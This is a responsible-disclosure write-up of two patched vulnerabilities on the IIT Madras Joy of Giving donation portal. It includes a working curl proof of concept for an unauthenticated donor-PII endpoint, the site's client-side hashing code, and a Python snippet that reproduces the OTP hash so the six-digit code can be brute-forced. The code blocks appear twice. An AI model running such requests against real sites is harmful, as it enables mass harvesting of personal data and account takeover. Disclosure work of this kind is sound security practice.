August 27, 2026
Responsible Disclosure: 2 P1 Vulnerabilities on IIT Madras Joy of Giving Portal
A writeup on joyofgiving.alumni.iitm.ac.in

By Sahastranshu
3 min read
The Setup
So I'm just doing my usual recon thing, mapping subdomains under iitm.ac.in, and I land on joyofgiving.alumni.iitm.ac.in. Donation portal. Alumni log in, check giving history, update profiles. Standard stuff.
But… ten minutes in, something felt off. It's that classic gut feeling where your hacker spidey-sense tingles and you just know a portal is accidentally operating on the honor system, almost like it was about to give me someone's home address just for asking nicely. (spoiler: it did)
Finding 1: Unauthenticated PII Disclosure (P1)
Endpoint
POST /guestlogin
Looks innocent. Type an email, hit submit, and maybe it sends you a login link? Nope.
It returns the full donor profile. Without authentication. For any email.
PoC
EMAIL="test@test.com" && URL="https://joyofgiving.alumni.iitm.ac.in" && \
TOKEN=$(curl -s -c cookies.txt -H "User-Agent: Mozilla/5.0" "$URL/login" \
| grep -oP '<meta name="csrf-token" content="\K[^"]+') && \
curl -s -b cookies.txt -X POST "$URL/guestlogin" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: $URL/login" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "emailaddress=$EMAIL" \
--data-urlencode "_token=$TOKEN" | jqEMAIL="test@test.com" && URL="https://joyofgiving.alumni.iitm.ac.in" && \
TOKEN=$(curl -s -c cookies.txt -H "User-Agent: Mozilla/5.0" "$URL/login" \
| grep -oP '<meta name="csrf-token" content="\K[^"]+') && \
curl -s -b cookies.txt -X POST "$URL/guestlogin" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: $URL/login" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "emailaddress=$EMAIL" \
--data-urlencode "_token=$TOKEN" | jqOutput
{
"resultflag": 1,
"userdata": {
"user_id": 2973,
"email_id": "test@test.com",
"user_full_name": "tester",
"mobile": "98xxxxxxxx",
"address1": null,
"city": null,
"state": null,
"country": null,
"zip": null,
"user_status": "Active"
}
}{
"resultflag": 1,
"userdata": {
"user_id": 2973,
"email_id": "test@test.com",
"user_full_name": "tester",
"mobile": "98xxxxxxxx",
"address1": null,
"city": null,
"state": null,
"country": null,
"zip": null,
"user_status": "Active"
}
}Real donor accounts returned with fully populated address fields.
At this point it was just a matter of scraping public pages and enumerating the entire staff directory and I could've invited the whole Department of Electrical Engineering to a tea party!
Impact
Unauthenticated mass PII harvesting. Full names, mobile numbers, addresses and emails
Finding 2: OTP Brute Force + Client-Side Crypto Bypass (P1)
Endpoint / Vector
POST /login/validate-user
The login flow relies on a 6-digit OTP as the sole authentication factor. Upon entering the OTP, the application attempts to obfuscate the credential client-side using either MD5 or SHA512 hashing routines.
However, the md5key used as a salt is rendered directly in the HTML page source for any visitor. The application performs no server-side verification of the raw OTP; it simply accepts the client-computed hash as the final valid credential.
PoC
Looking through the front-end components, the application maintains scripts for both standard MD5 hashing and a SHA512 fallback pathway. Both routines compute hashes deterministically in the browser without mixing in any server-side secrets:
// /js/lib/md5encrypt.js
function encryptLoginPassword(r, n, t) {
var o = n, e = t, u = MD5(MD5(o + "#" + e) + "#" + r);
return u;
}
// /js/lib/sha512encrypt.js
function encryptSha2LoginPassword(t, r, i) {
var n = r, e = i, o = CryptoJS.SHA512(n + "#" + e), s = CryptoJS.SHA512(o + "#" + t);
return s;
}// /js/lib/md5encrypt.js
function encryptLoginPassword(r, n, t) {
var o = n, e = t, u = MD5(MD5(o + "#" + e) + "#" + r);
return u;
}
// /js/lib/sha512encrypt.js
function encryptSha2LoginPassword(t, r, i) {
var n = r, e = i, o = CryptoJS.SHA512(n + "#" + e), s = CryptoJS.SHA512(o + "#" + t);
return s;
}An attacker can replicate this validation math entirely offline. For example, the MD5 implementation translates to this simple verification snippet:
import hashlib
def md5enc(otp, key):
# Replicating the client-side nested MD5 logic
s1 = hashlib.md5(("#" + otp).encode()).hexdigest()
return hashlib.md5((s1 + "#" + key).encode()).hexdigest()
# Verification: md5enc("293940", "CIL2VZPDT") == "48425fd20159e14b80cd3b3cb57b54b5"import hashlib
def md5enc(otp, key):
# Replicating the client-side nested MD5 logic
s1 = hashlib.md5(("#" + otp).encode()).hexdigest()
return hashlib.md5((s1 + "#" + key).encode()).hexdigest()
# Verification: md5enc("293940", "CIL2VZPDT") == "48425fd20159e14b80cd3b3cb57b54b5"Output
Server accepts the client-computed hash as the credential. No server-side secret and also no rate limiting after a single reCAPTCHA solve.
Impact
Full account takeover for any donor. 6 digits = 1,000,000 combinations, that might sound like a lot but keep in mind there was virtually no rate limiting so you just had to extract the md5key, compute hashes locally and fire them off to compromise an account within minutes
Disclosure
2026–08–21: Found both issues. Drafted report. Sent to jog_admin@alumni.iitm.ac.in and deanacroffice@iitm.ac.in.
2026–08–23: Follow-up with corrected PoC. (Forgot X-Requested-With: XMLHttpRequest in the first curl, typical me)
2026–08–24: Karthik K from ACR responds. Fixes deployed.
2026–08–24: I verify, /guestlogin now returns resultflag:2 with empty data. Client-side crypto libraries were removed and the login flow was reworked.
2026–08–25: Karthik confirms production deployment. Offers to keep my resume on file for future opportunities.
Overall Impact
Two critical, P1-severity vulnerabilities were identified on a high-traffic donation portal for one of India's top engineering institutes.
The first flaw (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) allowed for unauthenticated, mass harvesting of full donor profiles including names, mobile numbers, physical addresses, and emails , just by querying an open endpoint with any email address.
The second flaw (CWE-307: Improper Restriction of Excessive Authentication Attempts and CWE-287: Improper Authentication) enabled full account takeover (ATO) for any donor. Because the application relied on client-side crypto math and completely lacked server-side rate limiting, an attacker could easily compute the required authentication hashes locally and brute-force the 6-digit OTP codes.
Whew, that was… something
Timeline
Shoutout
Massive thanks to Karthik K and the IIT Madras ACR team for the lightning-fast turnaround and highly professional handling. Triaging, verifying, fixing, and deploying patches in under 4 days is incredibly commendable.
PS: always looking up for nerd snipes, connect with me on X, instagram and discord
This is a fine spot. See you around, cowboy.
— Sahastranshu Kauts